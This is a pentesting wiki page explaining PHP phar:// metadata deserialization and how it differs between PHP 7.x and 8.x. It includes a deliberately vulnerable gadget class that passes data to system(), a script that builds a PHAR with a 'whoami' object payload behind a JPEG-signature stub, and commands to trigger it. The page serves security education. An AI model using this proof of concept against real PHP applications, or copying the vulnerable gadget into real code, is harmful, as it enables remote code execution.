--- title: "phar:// Deserialization" section: "Web Pentesting" sectionSlug: "pentesting-web" sourcePath: "src/pentesting-web/file-inclusion/phar-deserialization.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/file-inclusion/phar-deserialization.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0" --- # `phar://` Deserialization PHAR (PHP Archive) files can store serialized PHP values as archive metadata. Before PHP 8.0, opening a PHAR through the stream wrapper could automatically deserialize that metadata; starting with PHP 8.0, metadata deserialization is deferred until `Phar::getMetadata()` is called.[[1]](#references) Consequently, the classic `phar://` object-injection technique applies primarily to PHP 7.x and older applications that pass attacker-controlled paths to filesystem functions such as `file_exists()`, `filesize()`, or `file_get_contents()`. On PHP 8.x, look instead for explicit calls to `Phar::getMetadata()` on an untrusted archive; PHP warns that doing so can execute code through object deserialization.[[1]](#references)[[2]](#references) Exploitation also requires a usable gadget class in the application. The following deliberately vulnerable example has a destructor that executes the value stored in `$data`:[[3]](#references) ```php data = $data; } function __destruct() { system($this->data); } } filesize("phar://test.phar"); // Attacker-controlled path on affected PHP versions ``` The following script creates a PHAR whose metadata contains that object: ```php data = $data; } function __destruct() { system($this->data); } } // Create a new PHAR. $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub("\xff\xd8\xff\n"); // Store the gadget object as metadata. $object = new AnyClass('whoami'); $phar->setMetadata($object); $phar->stopBuffering(); ``` The stub starts with JPEG signature bytes. This may evade a simplistic signature check, but it does not make the archive a fully valid image and will not bypass robust server-side validation.[[3]](#references) Create `test.phar` with: ```bash php --define phar.readonly=0 create_phar.php ``` On an affected PHP version, invoking the vulnerable code causes the metadata object to be reconstructed and its destructor to run: ```bash php vuln.php ``` ## References - [1] [PHP manual - Phar class and PHP 8 metadata-deserialization change](https://www.php.net/manual/en/class.phar.php) - [2] [PHP manual - Phar::getMetadata](https://www.php.net/manual/en/phar.getmetadata.php) - [3] [RIPS Technologies - PHP object injection via `phar://` metadata](https://blog.ripstech.com/2018/new-php-exploitation-technique/)